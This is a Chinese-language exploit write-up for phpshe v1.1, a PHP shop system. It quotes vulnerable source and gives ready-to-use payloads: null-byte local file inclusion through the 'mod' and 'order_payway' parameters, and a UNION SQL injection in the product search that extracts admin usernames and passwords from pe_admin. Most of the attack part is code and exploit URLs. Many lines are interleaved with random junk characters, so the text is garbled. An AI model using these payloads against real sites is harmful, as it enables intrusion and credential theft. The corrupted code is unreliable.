phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
# k# y8 i7 v, A9 N) g* A& ^8 O/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
5 k5 h* ^* _8 W% d/* E-Mail : 681796@qq.com
! a. O0 n. b: H0 N3 Z" Y8 h0 o% ~0 X/*******************************************************/
) K/ @7 F" ]" ]8 c# F0×00 整体大概参数传输
- Y. t  C. `8 N$ V1 m7 i( M3 |' g

/ o, f8 d7 L# h0 @/ W/ E' r
//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
  j/ C; ?, }8 Celse {
( _& K9 f4 H+ |4 q! c2 M- g- `3 A!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
: {0 y4 H- W0 {7 ?( P}
: D1 M- D7 s$ R# e4 Fsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
! g7 V- z' r! w+ n' V8 A
0×01 包含漏洞
0 x' ^$ Y$ W4 [9 [

//首页文件
) G% z& `6 o$ S. L9 k<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
, g. Y& c( H( Zinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
  ]# u* i; Z% W' kpe_result();
( m, j' B. Z' `4 U?>
" k" \5 O' ~+ u; r: J# N//common 文件 第15行开始
# B+ Y* r. V0 S9 ]" M8 {url路由配置
3 g: R3 @/ M, E( e: N7 l# [$module = $mod = $act = 'index';
2 k3 B6 H% K4 {( z0 E$ B$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
! ^5 f" w; N9 e, M9 p, y" [$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
' I' W/ ~7 y" ~$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
8 t2 s% @" L" a3 D' j& _7 t# D

5 {% S. j5 i, Y+ G* w3 Y+ a 0×02 搜索注入
% Y; \) H- h. S+ C( v
<code id="code2">

//product.php文件
case 'list':
4 h( T0 c5 g/ j$category_id = intval($id);
) Z: [; r; G0 t  }$ x3 m$info = $db->pe_select('category', array('category_id'=>$category_id));
' Z2 E( d7 A) C7 j$ w//搜索
% U. s/ c" \/ |' ]$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
3 g+ [  t. J) Vif ($category_id) {
% i# ~: g4 K, |  xwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
4 O; B- J  |- }}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
5 g" a$ G7 I7 q( U0 H$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
6 _; ?% M; k2 s}
+ w( t9 X+ R3 v- t- oelse {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
* B! T& ]5 d; U, [) ?" }//热卖排行
' K: G, c# D3 b) P5 c# }$product_hotlist = product_hotlist();
//当前路径
0 o1 @  D# L4 u% Q2 {7 Z/ O# i3 b$nowpath = category_path($category_id);
3 g$ ?' n. g( l# C% ]1 t; T( q2 j$seo = pe_seo($info['category_name']);
5 M5 q# a2 |$ [5 l" [; |, w* ~2 }4 l8 M" hinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
5 k1 A" d4 H& I9 R{
//处理条件语句
, T2 B$ G2 j' H$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
( u. J6 R5 _1 k! o6 d$ E$ i7 N2 ~//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
1 s4 ~& b7 W* _; a8 R4 v

</code>
9 p2 R# Y% O' _9 k
3 k1 X6 @: U7 p: T0 i. Q. g% P0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

8 P; K! ]9 L9 T5 }# x+ h! C& s3 @$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

1 @5 x: @/ B7 d& {( Qforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

$ W  q1 U, W  `if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

) s( V0 A6 ~7 C  n" f8 {$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

3 O' H* K) n5 t, ?$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

7 l) v2 L/ S+ }foreach ($info_list as $v) {

. }$ _8 @/ _) P3 p$ f0 e$order['order_name'] .= "{$v['product_name']};";
; \. U& P0 E! ], Z/ \

0 X# Z$ O$ \* O}

1 J: G0 J( j- Z5 R. K% g  H1 Iecho '正在为您连接支付网站，请稍后...';

( K! Y9 T6 u, Binclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

& T  n& ?7 Q5 w/ U  h}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

- m2 p, s: `) R2 y8 b, v0 G}

}

  Z4 S8 t% ?0 f+ Y$seo = pe_seo('选择支付方式');

' v! W! [& W: f: ~% Ginclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg